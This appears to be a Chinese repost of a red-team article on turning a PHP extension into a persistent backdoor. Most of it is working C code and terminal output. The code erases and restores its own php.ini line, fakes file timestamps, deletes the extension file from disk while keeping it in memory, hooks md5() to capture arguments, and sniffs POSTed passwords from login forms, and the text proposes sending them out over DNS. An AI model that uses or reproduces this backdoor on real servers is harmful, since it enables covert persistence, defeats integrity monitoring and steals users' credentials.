溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何修改PHP擴(kuò)展作為持久后門

發(fā)布時(shí)間:2021-10-11 10:56:02 來(lái)源:億速云 閱讀:121 作者:柒染 欄目:網(wǎng)絡(luò)管理

如何修改PHP擴(kuò)展作為持久后門,針對(duì)這個(gè)問(wèn)題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問(wèn)題的小伙伴找到更簡(jiǎn)單易行的方法。

在我們作為紅隊(duì)的運(yùn)營(yíng)中,我們研究不同的持久后門方法,因?yàn)槊糠N技術(shù)都有他的優(yōu)缺點(diǎn)。選擇通常基于不同情況,因此對(duì)于位于外圍的服務(wù)器,PHP擴(kuò)展是一個(gè)很棒的選擇。

本文的重點(diǎn)是:

1.如何減少tracks

2.連接PHP函數(shù)并從Red Team中提取有用信息

3.攔截GET / POST參數(shù)PS:示例在PHP 7環(huán)境中進(jìn)行測(cè)試(PHP    5和PHP 7 API內(nèi)部之間有變化)

0x00 簡(jiǎn)介

1.如果在PHP中添加PHP擴(kuò)展,PHP解釋器將在啟動(dòng)時(shí)加載PHP.ini文件(extension = path / to / our / extension)

2.在PHP擴(kuò)展中,我們主要關(guān)注4個(gè)hooks:MINITMSHUTDOWN,以及RINITRSHUTDOWN。當(dāng)解釋器啟動(dòng)和停止時(shí),M 以root身份執(zhí)行(通常)。R 在作為服務(wù)器用戶執(zhí)行。

3.我們可以從請(qǐng)求中讀取HTTP頭并觸發(fā)任何操作(例如,執(zhí)行命令或啟動(dòng)反向shell)。為了保持對(duì)受感染服務(wù)器的訪問(wèn),PHP擴(kuò)展是一個(gè)非常好的選擇。我們可以使用合法的HTTP請(qǐng)求與這種后門進(jìn)行交互(如推薦文章中所示),因?yàn)榉阑饓途W(wǎng)絡(luò)規(guī)則無(wú)法檢測(cè)到我們。但是想要加載我們的擴(kuò)展,我們就需要修改php.ini文件重新加載配置。如果未恢復(fù)php.ini,那么其大小,哈希和時(shí)間戳將不同,操作將公開(kāi),藍(lán)隊(duì)獲勝,我們輸了。當(dāng)然,php.ini修改應(yīng)該會(huì)被文件完整性檢查器立即檢測(cè)到,但實(shí)際上SOCs往往忽略這種警報(bào)

0x01 php.ini未被修改

我們知道當(dāng)我們修改了php.ini時(shí)會(huì)生成一個(gè)警報(bào)??墒侨绻?dāng)有人SSH連接到服務(wù)器,對(duì)php.ini進(jìn)行cat操作,我什么也看不見(jiàn)。進(jìn)行l(wèi)s操作,時(shí)間戳也是好的。重新啟動(dòng)服務(wù)器只是為了再次檢查沒(méi)有發(fā)生任何奇怪的事情。我們的后門還活著。這是為什么?

當(dāng)加載我們的PHP擴(kuò)展時(shí),我們不需要在php.ini文件中保留“extesion = path/to/our.so”這一行。我們可以程序化地將其恢復(fù)到原始狀態(tài)。利用MINIT  hook,我們可以刪除添加到php.ini的行,所以當(dāng)加載擴(kuò)展時(shí),這個(gè)hook將以root(通常)觸發(fā),我們可以編輯php.ini文件而不會(huì)出現(xiàn)問(wèn)題。同樣,我們可以使用MSHUTDOWN插入一段代碼,用于再次將行添加到php.ini中,因此當(dāng)服務(wù)器重新啟動(dòng)時(shí),將再次添加“extension = ...”行。當(dāng)加載擴(kuò)展時(shí),將執(zhí)行MINIT并關(guān)閉cicle。使用這種方法,php.ini文件在大部分時(shí)間內(nèi)都不會(huì)顯示任何奇怪的內(nèi)容。泛型函數(shù)可以表示如下:

 / This code sucks
int modifyExtension(int action) {
    char source = NULL;
    char needle = NULL;
    FILE fp;
    size_t newSize;
    fp = fopen(PHPINI, "a+");
    if (fp != NULL) {
        if (action == 1) {
            if (fseek(fp, 0L, SEEK_END) == 0) {
                long bufsize = ftell(fp); // FileSize
                if (bufsize == -1) {
                    return -1;
                }
                source = malloc(sizeof(char )  (bufsize + 1)); // Alloc memory to read php.ini
                if (fseek(fp, 0L, SEEK_SET) != 0) {
                    return -1;
                    free(source);
                }
                newSize = fread(source, sizeof(char), bufsize, fp);
                if (ferror(fp) != 0) {
                    return -1;
                    free(source);
                }           
                else {
                    source[newSize++] = '\0';
                    needle = strstr(source, LOCATION);
                    if (needle != 0) {
                        FILE tmp = fopen("/tmp/.tmpini", "w");
                        fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")
                        fclose(tmp);
                        rename("/tmp/.tmpini", PHPINI);
                    }
                }
                free(source);
            }
            fclose(fp);
        }
        if (action == 0) {
            fwrite("\nextension=", 11, 1, fp);
            fwrite(LOCATION, strlen(LOCATION), 1, fp);
            fclose(fp);
            fprintf(stderr, "[+] Extension added to PHP.INI\n");
        }
    }
    else {
        return -1;
    }
    return 1;
}

這種策略的對(duì)應(yīng)部分是,如果服務(wù)器以意外方式被kill,則不會(huì)執(zhí)行`MSHUTDOWN hook`。另一方面,時(shí)間戳將被修改,因此我們也需要牢記這一點(diǎn):

#define PHPINI "/u/know/that/php.ini"
...
struct stat st;
stat(PHPINI, &st);
...// Do changes
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);

0x02 第二步

我們介紹了如何恢復(fù)php.ini,但是如果我們需要?jiǎng)h除和恢復(fù)后門本身(共享對(duì)象),由于我們正在以用戶級(jí)別工作(如果我們使用rootkit - 例如一個(gè)簡(jiǎn)單的LKM-我們可以隱藏它)。在加載擴(kuò)展程序時(shí),我們可以輕松地將其內(nèi)容保存在內(nèi)存中,然后刪除該文件。就像是:

//Simple PoC
PHP_MINIT_FUNCTION(PoC)
{
    //Executed when the module is loaded
    // Privilege: root (usually)
    int fd, check;
    struct utimbuf new_time;
    fprintf(stderr, "[+] LOADED\n");
    //1) Calculate size of the file
    struct stat st;
    if (stat(LOCATION, &st) == -1) {
        return SUCCESS;
    }
    filesize = st.st_size;
    //2) Open the file 
    fd = open(LOCATION, O_RDONLY, 0);
    if (fd == -1) {
        return SUCCESS;
    }
    //3) Map file to memory
    mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);
    close(fd);
    
    //4) Delete file
    remove(LOCATION);
    
    //5) Get timestamp
    stat(PHPINI, &st);
    //6) Modify php.ini and delete the extension line
    check = modifyExtension(1);
    if (check == -1) {
        fprintf(stderr, "[+] PHP.INI could not be edited\n");
    }
    else {
        fprintf(stderr, "[+] PHP.INI edited\n");
    }
    //7) Fake timestamp
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;
    utime(PHPINI, &new_time);
...

下一步是使用MSHUTDOWN hook將共享對(duì)象從內(nèi)存寫入文件:

PHP_MSHUTDOWN_FUNCTION(Allocer)
{
    // We write the file again, edit php.ini and fake the timestamp
    if (mapedFile == MAP_FAILED) {
        return SUCCESS;
    }
    
    int check;
    FILE *fp;
    struct utimbuf new_time;
    struct stat st;
    fp = fopen(LOCATION, "w");
    fwrite(mapedFile, 1, filesize, fp);
    fclose(fp);
    munmap(mapedFile, filesize);
    stat(PHPINI, &st);
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;    
    
    check = modifyExtension(0);
    utime(PHPINI, &new_time);
    return SUCCESS;
}

0x03 第三步

我們現(xiàn)在知道如何留下最小的tracks,并在Tarlogic博客的帖子中解釋了如何與我們的后門進(jìn)行通信并通過(guò)HTTP標(biāo)頭觸發(fā)操作,所以讓我們開(kāi)始更有趣的事情,比如hooking。作為ReadTeamers,我們渴望獲得進(jìn)行橫向運(yùn)動(dòng)的憑據(jù)。如果我們可以在常見(jiàn)的函數(shù)中放置一個(gè)hook(比如那些用于哈希密碼或用于在數(shù)據(jù)庫(kù)中插入新用戶的函數(shù)),我們可以通過(guò)DNS解析索引的關(guān)鍵信息(如本文)。作為一個(gè)簡(jiǎn)單的PoC,我們將掛鉤PHP函數(shù)md5()。讓我們潛入PHP內(nèi)部深處!函數(shù)符號(hào)表作為    HashTable存儲(chǔ)在結(jié)構(gòu)zend_compiler er_globals中:

struct _zend_compiler_globals {
    zend_stack loop_var_stack;
    zend_class_entry active_class_entry;
    zend_string compiled_filename;
    int zend_lineno;
    zend_op_array active_op_array;
    HashTable function_table;  / function symbol table /
...

我我們可以通過(guò)CG(編譯器全局)宏訪問(wèn)`function_table`成員,并搜索函數(shù)的地址.由于它是一個(gè)HashTable,我們可以使用zend_hash_str_find_ptr來(lái)搜索密鑰“md5”。最后,我們只需要修改處理程序(指向函數(shù)的地址),使其指向我們的hook。像這樣:

//Placed at MINIT
    ...
    zend_function *orig;
    orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));
    orig->internal_function.handler = zif_md5_hook;
    ...

檢查原始的md5功能代碼:

PHP_NAMED_FUNCTION(php_if_md5)
{
    zend_string *arg;
    zend_bool raw_output = 0;
    PHP_MD5_CTX context;
    unsigned char digest[16];
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
...

要首先創(chuàng)建我們的hook,我們需要使用正確的數(shù)據(jù)類型和args來(lái)定義它。在官方文檔中顯示`PHP_NAMED_FUNCTION`(無(wú)論如何)擴(kuò)展為`void zif_whatever(INTERNAL_FUNCTION_PARAMETERS)`。所以我們的hook必須像這樣創(chuàng)建:

// Test Hook md5
void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {
    php_printf("[+] Hook called\n");
    zend_string *arg;
    zend_bool raw_output = 0;
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
    ZEND_PARSE_PARAMETERS_END();
    php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));
}

編譯并執(zhí)行:

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
?  sudo /usr/local/bin/php  -r "echo md5('kk');"
[+] LOADED
[+] PHP.INI edited
[+] Hook called
[+] MD5 Called with parameter: kk%

0x04嗅探參數(shù)

連接juicy函數(shù)是獲取信息的一種很好的方式,但如果我們知道通過(guò)POST或GET發(fā)送的參數(shù)(例如登錄表單)存在,那么捕獲這些值要好得多。我們將把代碼放在`RINIT hook`中,因?yàn)槊看翁幚碚?qǐng)求時(shí)都會(huì)執(zhí)行它。為了檢索信息,我們需要在php_variables.c上檢查PHP引擎的工作方式:

...
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_POST]);
ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_POST], &array);
...

因此變量被視為來(lái)自`http_globals`的數(shù)組。搜索特定值的最簡(jiǎn)單方法(例如我們希望對(duì)登錄表單中發(fā)送的`“pass”`參數(shù)進(jìn)行說(shuō)明)是從數(shù)組中獲取HashTable,然后使用API進(jìn)行搜索,就像我們之前搜索的那樣md5功能。我們這樣做的魔法函數(shù)是HASH_OF:

    zval password;
    zval post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }

如果我們測(cè)試它:

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
?  curl localhost:8888/k.php --data "pass=s0S3cur3"
Password: s0S3cur3

現(xiàn)在,這個(gè)密碼可以保存在文件中,或者只是通過(guò)DNS發(fā)送給我們所擁有的DNS服務(wù)器。

0x05 最后的話

PHP擴(kuò)展是一種強(qiáng)大的方法,可以持久的保存在目標(biāo)中,當(dāng)然,這也是開(kāi)始使用PHP內(nèi)部的最佳借口。如果你發(fā)現(xiàn)這篇文章有用,或者指出我的錯(cuò)誤,請(qǐng)通過(guò)twitter @TheXC3LL與我聯(lián)系。

關(guān)于如何修改PHP擴(kuò)展作為持久后門問(wèn)題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒(méi)有解開(kāi),可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI